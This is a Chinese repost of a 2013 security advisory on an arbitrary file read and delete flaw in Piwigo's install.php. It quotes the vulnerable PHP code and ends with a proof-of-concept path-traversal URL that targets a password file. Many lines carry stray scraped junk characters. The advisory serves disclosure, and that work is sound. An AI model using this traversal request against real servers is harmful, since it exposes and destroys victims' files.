Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。

& W' z' K9 a; d* ?7 OPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
) H; y9 U& f! B* Q! I9 j====================================================================
' G# R5 C% Y$ A' x/install.php:
-------------
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
. H3 L2 D9 B2 w" m116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
, V. B1 P9 Q% s, p) f& d% h5 a, [118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
6 t- ?- v6 H6 e+ T& E121:   echo file_get_contents($filename);
; V5 q1 y% x* s122:   unlink($filename);
123:   exit();
9 D, y5 f9 q* T# V! L5 \- z124: }
====================================================================
2 ?. Z, P; V; Z
+ B5 M' @. O3 c5 V# X$ d( c+ xTested on: Microsoft Windows 7 Ultimate SP1 (EN)
* m2 X  u/ c) p. O* z6 Q' r+ Z           Apache 2.4.2 (Win32)
           PHP 5.4.4
! L6 i# H* N! S3 X9 {- P& Q           MySQL 5.5.25a
7 X* M8 ?$ m$ h7 X" {
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience

Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
9 G7 `2 Q; P& k9 E+ i$ C2 `
15.02.2013
+ F% s. k: ~0 v; [$ R* H: K
! h# O4 s2 y; ?. N( \1 w--
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
: Z! O7 d% h8 Y7 n* I9 o2 q
% R: N8 P# s7 {" N& k+ W9 r